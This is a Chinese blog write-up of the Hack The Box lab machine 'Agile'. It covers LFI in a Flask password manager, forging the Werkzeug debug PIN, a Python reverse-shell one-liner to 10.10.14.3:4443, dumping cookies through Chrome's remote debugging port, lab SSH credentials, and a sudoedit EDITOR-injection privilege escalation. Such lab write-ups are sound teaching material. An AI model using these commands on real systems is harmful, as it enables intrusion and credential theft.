HTB-Agile

请添加图片描述

信息收集

# 信息收集

在这里插入图片描述

80端口

漫长的兔子洞之旅

在这里插入图片描述

我注意到系统为我分配了一个session,是以eyj开头的。

在这里插入图片描述

拿去jwt.io看看。
在这里插入图片描述
额,可能后面会用先留在这,去看看登录。

在这里插入图片描述

当我乱输入的时候遇见了报错。
在这里插入图片描述
除了让我知道查询语句、表名等相关信息,似乎就没有其他信息了。注册用户aster:aster后并登录。发现cookie已经改变,并且我在页面随意输入了一个账号来查看生成出来的效果。
在这里插入图片描述
开始对site、username、Password进行sql注入测试以及export进行二次注入测试。
在这里插入图片描述
在payload为"or 1=1 – -的时候export的结果会变得很奇怪,初步判存在二次注入,并且是以双引号闭合。

在这里插入图片描述
开始深入测试,将site的值改为"test,会发现"test变为了" ""test ",似乎存在防护措施并对双引号进行了配对。

在这里插入图片描述
不过尝试了几个绕过的办法无果后先暂时放在这,再去检查一遍整个网站,小心兔子洞。在退出登陆的时候又触发错误。
在这里插入图片描述
这次仔细看看这个报错。发现了很多flask模板有关的代码。重要的是在/app/venv/lib/python3.10/site-packages/flask_login/utils.py中某个代码片段表明在logout时session删除了一个user_id。
在这里插入图片描述

所以如果能对session进行解码就能知道其内容是啥了。

在这里插入图片描述
使用命令pip3 install flask-unsign下载。

在这里插入图片描述

运行flask-unsign查看解码后的session。

flask-unsign --decode --cookie '.eJwljsFqwzAQRH9F7DkUSSvvav0VvZcQ1tIqNrhNsZxTyL9X0NMwvGF4L7i1XftqHeavF7hzBHxb73o3uMDnbtrN7Y-7237c-XBayoDuXLfufsfmA67v62WcHNZXmM_jaaNtFWZgREP0ylbEKpmmmBDFB2mMlLilFiMGqSoyaONMOUSORSPpotWYCqsoikplzySpUsuNfJTiU8rRQuZlqpITYdaJsHGYfKS6SBEa-rdnt-PfRuD9B50hRQ4.ZGBi_g.VC6Gwl8m13SVGI75G2ujviYF_yg'

在这里插入图片描述

看着user_id总想改改它看看会发生什么。如果想伪造session,则需要secret key,secret key可能需要SSTI来获取,试试看吧。使用burp suite对每一步操作进行抓包后发现当编辑、删除存储的密码会看到HTTP请求是这样的。
在这里插入图片描述
我在11处替换为了${3*4}{{3*4}}3*4,为什么是3*4,因为我不确定存在SSTI,如果存在可能结果是12,而12就是我的某一个存储的凭证。额,似乎不存在。
在这里插入图片描述
我尝试了修改那个10,翻译从0到100,试试看能否枚举到有趣的东西。

在这里插入图片描述

额,这是个有趣的盒子,充满了兔子洞。肯定忽略了什么东西,当我开着burp suite时老是碰不到那个报错的界面。猜猜我发现了什么?这里面有一个超人。
在这里插入图片描述

现在唯一没有弄过的貌似就是export里面的东西了。
在这里插入图片描述
如果就在burp suite里面转到Repeater里点击发送,会发现错误No such file or directory。
在这里插入图片描述

这不是个LFI吗?
在这里插入图片描述
再看源码之前,抱着试试心理读取一下ssh的id_rsa看看。结果要么无权访问、要么不存在此文件。

根据前面的报错,我们不就能查看相关代码文件源码了,目前搜集的可以查看的文件。
在这里插入图片描述
注意不能直接以根目录/开头,要先..到根目录再查看要看的源文件。又更新了一下可以查看的文件,不全。

在这里插入图片描述
选个好时辰,慢慢的看代码,我的目标:mysql连接凭证尝试ssh、找到flask session的secret_key、找到那个密码管理器有关的代码(代码量不多,很多都是注释,请静下来)。

根据/app/app/superpass/views/vault_views.py文件的源码来看,这是处理密码箱功能的代码。虽然不确定import superpass.services.password_service as password_service的模块和库是什么。

login_required函数是一个装饰器,用于保护一个路由,只有已登录用户才能访问该路由;current_user函数返回当前已登录的用户对象。这些函数可以帮助实现用户身份验证和授权功能。
在这里插入图片描述

这句似乎是在验证身份: password = password_service.get_password_by_id(id, current_user.id)
这句似乎在验证身份的同时根据id获取什么东西: password = password_service.get_password_by_id(id, current_user.id)
结合上下文可能是验证身份后通过ID来获取存储的密码,也可能没有经过身份验证。/vault/row/ID可能就是通过ID来获取密码信息。

在这里插入图片描述

但是我只能查看当前用户的密码这一情况还是没变,所以我忙碌了半天收获很小。


好的我又回来了,我决定还是寻找secret key,全力搜索可以阅读的源码。
在这里插入图片描述

我终于在/app/app/superpass/app.py里找到了我期待已久的secret key,但是这secret key是随机的,而且还是urandom。
在这里插入图片描述
在这里插入图片描述

行吧,再对ID进行一次fuzz吧。使用crunch 生成一个字典。从1位到2位 字典取值范围0-9。使用
在这里插入图片描述
现在我开始怀疑是有其他选手误操作导致某些功能失常。但是很遗憾并没有。所以只有分析还有什么突破口。在报错界面一些python语句最右边会有一个控制台终端的按钮。

这是Flask的debug模式,开启debug就意味着为我们敞开了大门。点击会要求我们输入pin。
在这里插入图片描述
hacktricks上有相应的内容。要利用这个PIN码的所需要的条件。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
利用LFI一个一个获取吧。
用户名:猜测是www-data
modname:flask.app
app哪一行是Flask
在这里插入图片描述
app.py的路径:/app/venv/lib/python3.10/site-packages/flask/app.py

在这里插入图片描述

uuid.getnode 是mac地址的十进制
在这里插入图片描述
在这里插入图片描述
uuid.getnode是345052376232

get_machine_id是ed5b159560f54721827644bc9b220d00

在这里插入图片描述
都齐全了,拼凑一下。额,看起来有地方有问题。

在这里插入图片描述
可能有问题的的就是下面这两行。
在这里插入图片描述

哦!我知道了,我没看完整。
在这里插入图片描述

get_machine_id修正为下面三个联合起来的值:

/etc/machine-id: ed5b159560f54721827644bc9b220d00
/proc/sys/kernel/random/boot_id: 73fa6443-2f8e-44d8-8f9c-f17f6f78d2fc
/proc/self/cgroup: superpass.service (首行中,最有一个斜杠的值)
在这里插入图片描述
但是查看具体代码发现只需要/etc/machine-id和/proc/sys/kernel/random/boot_id二选一与/proc/self/cgroup相连即可。
在这里插入图片描述

什么!还不对。
在这里插入图片描述

重新看看uuid.getnode的值。
在这里插入图片描述
然后再转十进制345052411299

在这里插入图片描述
还是错的。额,要么是用户名。

在这里插入图片描述

要么是这个。因为这个name可能性较大,所以现在对这个进行调查。
在这里插入图片描述

可以的话,大家别像我一样,拿到一半就开跑,没看清楚很多东西。
在这里插入图片描述

查看源码发现WSGIApplication。
在这里插入图片描述
这还有一个DebuggedApplication
在这里插入图片描述

额,WSGIApplication和DebuggedApplication均失败。

在这里插入图片描述
根据收集的东西猜测了几个:WSGI、wsgi、wsgi_app、wsgi.app。

在这里插入图片描述

立足

终于在如下信息生成的PIN通过了。
在这里插入图片描述

使用命令连接shell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

在这里插入图片描述

在/app/app/config_prod.json里面发现了凭证。

在这里插入图片描述

好了,去看看数据库有什么好东西。
在这里插入图片描述

上面的表是sp的用户和密码哈希,底下的表是用户存储在sp上的密码凭证。
在这里插入图片描述

www-data -> corum

利用凭证corum:5db7caa1d13cc3通过ssh登录corum。

在这里插入图片描述

在这里插入图片描述

用pspy能看到有时间任务在运行。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从时间任务可知,根目录下的APP目录是root把自己家目录里的app复制过来的,然后让bash使用source命令读取/app/venv/bin/activate文件内容并执行。看完以后就有一个想法,挂一个脚本来资源竞争,看能否在root时间任务执行source之前复写activate,但是我们没权限。
在这里插入图片描述

有两个文件我比较感兴趣,但是需要dev_admin或runner用户。
在这里插入图片描述

看着这一大堆google chrome的命令,头大。
在这里插入图片描述

 /bin/bash /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.eIzNFs --window-size=1420,1080 data:,

简单对参数进行解释一下:

  • /bin/bash: 指定要使用的 shell 解释器为 Bash。
  • /usr/bin/google-chrome: 指定要执行的 Google Chrome 可执行文件的路径。
  • –allow-pre-commit-input: 允许预提交输入。
  • –crash-dumps-dir=/tmp: 指定崩溃转储文件的目录为 /tmp。
  • –disable-background-networking: 禁用后台网络操作。
  • –disable-client-side-phishing-detection: 禁用客户端钓鱼检测。
  • –disable-default-apps: 禁用默认应用程序。
  • –disable-gpu: 禁用 GPU 加速。
  • –disable-hang-monitor: 禁用卡死监控。
  • –disable-popup-blocking: 禁用弹出窗口阻止功能。
  • –disable-prompt-on-repost: 禁用重新提交时的提示。
  • –disable-sync: 禁用同步功能。
  • –enable-automation: 启用自动化。
  • –enable-blink-features=ShadowDOMV0: 启用 Blink 引擎的 Shadow DOM V0 特性。
  • –enable-logging: 启用日志记录。
  • –headless: 启用无头模式,即无界面运行。
  • –log-level=0: 设置日志级别为 0,即最低级别。
  • –no-first-run: 不进行首次运行设置。
  • –no-service-autorun: 不自动运行服务。
  • –password-store=basic: 设置密码存储方式为基本模式。
  • –remote-debugging-port=41829: 设置远程调试端口为 41829。
  • –test-type=webdriver: 设置测试类型为 WebDriver。
  • –use-mock-keychain: 使用模拟密钥链。
  • -user-data-dir=/tmp/.com.google.Chrome.eIzNFs: 指定用户数据目录的路径为 /tmp/.com.google.Chrome.eIzNFs。
  • –window-size=1420,1080: 设置窗口大小为 1420x1080。
  • data:,: 指定要加载的数据,这里为空数据。

查看本地运行端口。
在这里插入图片描述
既然是以无界面的反思运行的google-chrome,那该怎么查看页面内容或者有哪些页面呢。使用chisel反向代理断端口。
在这里插入图片描述

不过这个网页啥也没有。

在这里插入图片描述
对其进行目录扫描。dirbuster发现了devtools目录。
在这里插入图片描述

dirsearch发现了/json目录。
在这里插入图片描述
在这里插入图片描述

看起来是一个sp的test版本。可能里面又存了某用户的密码那些。在Firefox的console里写一个websocket连接服务,看看服务器会给我发送些什么。
额,CSP报错。那咋办?
请添加图片描述
HackTricks上倒是提到过窃取tokens的。
在这里插入图片描述

这也可以,如果能窃取Cookie或token用来登录test sp,就能查看保存的密码。下载websocat,github地址
在这里插入图片描述

额,不会用啊。这有一个chrome的帮助文档。从中我找到了获取全部cookie的方法,不过说已经弃用了使用Storage.getCookies代替,这都是后面的事情了,等会再说。
在这里插入图片描述
接着就是如何通过json向chrome通信。
在这里插入图片描述
他已经告诉我们了,我们就按照id、method、sessionId、params来传输json格式的数据。
id的话随便填。method的话,网官上有。不知道选哪一个,先试试enable吧,至少看起来是建立连接。在这里插入图片描述

后面两个不知道,先试试能不能只传输id和method。
在这里插入图片描述

结果是可以的。还记得上面找到的getcookie吗?就是这个。
在这里插入图片描述
使用json格式的数据:{“id”:1,“method”:“Network.getAllCookies”}

在这里插入图片描述
cookie就被到导出来了。
在这里插入图片描述
太好了,由于这个是给test.superpass用的,所以要找找这个test.superpass在哪里。还有一堆端口没看,慢慢来。

在这里插入图片描述
很好选的第一个吉利的数字5555就是,利用chisel的过程和上面一样,就省略了。
在这里插入图片描述

将前面获取的cookie丢进去,就能获得新东西。
在这里插入图片描述

corum -> edwards

利用edwards:d07867c6267dcb5df0af通过ssh登录。
在这里插入图片描述

edwards -> root

在这里插入图片描述
看看时间任务,这个任务前面应该见过。
在这里插入图片描述

# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi

    # This should detect bash and zsh, which have a hash command that must
    # be called to get it to forget past commands.  Without forgetting
    # past commands the $PATH changes we made may not be respected
    if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] ; then
        hash -r 2> /dev/null
    fi

    if [ -n "${_OLD_VIRTUAL_PS1:-}" ] ; then
        PS1="${_OLD_VIRTUAL_PS1:-}"
        export PS1
        unset _OLD_VIRTUAL_PS1
    fi

    unset VIRTUAL_ENV
    unset VIRTUAL_ENV_PROMPT
    if [ ! "${1:-}" = "nondestructive" ] ; then
    # Self destruct!
        unset -f deactivate
    fi
}

# unset irrelevant variables
deactivate nondestructive

VIRTUAL_ENV="/app/venv"
export VIRTUAL_ENV

_OLD_VIRTUAL_PATH="$PATH"
PATH="$VIRTUAL_ENV/bin:$PATH"
export PATH

# unset PYTHONHOME if set
# this will fail if PYTHONHOME is set to the empty string (which is bad anyway)
# could use `if (set -u; : $PYTHONHOME) ;` in bash
if [ -n "${PYTHONHOME:-}" ] ; then
    _OLD_VIRTUAL_PYTHONHOME="${PYTHONHOME:-}"
    unset PYTHONHOME
fi

if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT:-}" ] ; then
    _OLD_VIRTUAL_PS1="${PS1:-}"
    PS1="(venv) ${PS1:-}"
    export PS1
    VIRTUAL_ENV_PROMPT="(venv) "
    export VIRTUAL_ENV_PROMPT
fi

# This should detect bash and zsh, which have a hash command that must
# be called to get it to forget past commands.  Without forgetting
# past commands the $PATH changes we made may not be respected
if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] ; then
    hash -r 2> /dev/null
fi

用于激活和停止 Python 虚拟环境的脚本,似乎没有切入点呢。既然不能从文件中找到切入点就看看命令本身。在这里插入图片描述在这里插入图片描述
这篇帖子似乎不错。在这里插入图片描述

我们刚好满足。使用负载sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json发现成功使用vim打开 /app/venv/bin/activate文件。接下来自由发挥吧。
在这里插入图片描述
在这里插入图片描述

等三分钟。
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值